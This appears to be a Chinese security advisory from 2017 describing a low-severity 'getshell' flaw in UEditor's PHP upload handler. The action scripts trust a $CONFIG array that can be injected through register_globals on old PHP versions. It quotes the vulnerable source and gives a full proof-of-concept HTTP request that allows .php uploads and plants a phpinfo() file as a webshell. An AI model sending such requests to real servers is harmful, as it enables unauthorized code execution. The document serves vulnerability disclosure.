Ueditor php版鸡肋getshell

1. 发布时间：2017-10-13
2. 公开时间：N/A
3. 漏洞类型：文件操作
4. 危害等级：低
5. 漏洞编号：xianzhi-2017-10-37953353
6. 测试版本：N/A

漏洞详情

ueditor的上传逻辑部分 有一个controller.php来解析配置并加载对应上传模块
/php/controller.php

date_default_timezone_set("Asia/chongqing");
error_reporting(E_ERROR);
header("Content-Type: text/html; charset=utf-8");
$CONFIG = json_decode(preg_replace("/\/*[\s\S]+?*\//", "", file_get_contents("config.json")), true);
$action = $_GET['action'];
switch ($action) {
    case 'config':
        $result =  json_encode($CONFIG);
        break;
    / 上传图片 /
    case 'uploadimage':
    / 上传涂鸦 /
    case 'uploadscrawl':
    / 上传视频 /
    case 'uploadvideo':
    / 上传文件 /
    case 'uploadfile':
        $result = include("action_upload.php");
        break;
    / 列出图片 /
    case 'listimage':
        $result = include("action_list.php");
        break;
    / 列出文件 /
    case 'listfile':
        $result = include("action_list.php");
        break;
    / 抓取远程文件 /
    case 'catchimage':
        $result = include("action_crawler.php");
        break;
    default:
        $result = json_encode(array(
            'state'=> '请求地址出错'
        ));
        break;
}

但是底下的3个功能模块并没有检查是否为controller.php调用
/php/action_upload.php

<?php
/*
  上传附件和上传视频
  User: Jinqn
  Date: 14-04-09
  Time: 上午10:17
 */
include "Uploader.class.php";
/* 上传配置 */
$base64 = "upload";
switch (htmlspecialchars($_GET['action'])) {
    case 'uploadimage':
        $config = array(
            "pathFormat" => $CONFIG['imagePathFormat'],
            "maxSize" => $CONFIG['imageMaxSize'],
            "allowFiles" => $CONFIG['imageAllowFiles']
        );
        $fieldName = $CONFIG['imageFieldName'];
        break;
    case 'uploadscrawl':
        $config = array(
            "pathFormat" => $CONFIG['scrawlPathFormat'],
            "maxSize" => $CONFIG['scrawlMaxSize'],
            "allowFiles" => $CONFIG['scrawlAllowFiles'],
            "oriName" => "scrawl.png"
        );
        $fieldName = $CONFIG['scrawlFieldName'];
        $base64 = "base64";
        break;
    case 'uploadvideo':
        $config = array(
            "pathFormat" => $CONFIG['videoPathFormat'],
            "maxSize" => $CONFIG['videoMaxSize'],
            "allowFiles" => $CONFIG['videoAllowFiles']
        );
        $fieldName = $CONFIG['videoFieldName'];
        break;
    case 'uploadfile':
    default:
        $config = array(
            "pathFormat" => $CONFIG['filePathFormat'],
            "maxSize" => $CONFIG['fileMaxSize'],
            "allowFiles" => $CONFIG['fileAllowFiles']
        );
        $fieldName = $CONFIG['fileFieldName'];
        break;
}

直接读取$CONFIG配置，php5.4之前版本且开启register_globals 可以任意提交CONFIG初始化配置 导致getshell

POC:

POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 222
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
———WebKitFormBoundaryDMmqvK6b3ncX4xxA
Content-Disposition: form-data; name="fuck"; filename="fuck.php"
Content-Type: application/octet-stream
<?php 
phpinfo();
?>
———WebKitFormBoundaryDMmqvK6b3ncX4xxA—

shell路径由CONFIG[imagePathFormat]=ueditor/php/upload/fuck决定

http://localhost/ueditor/php/upload/fuck.php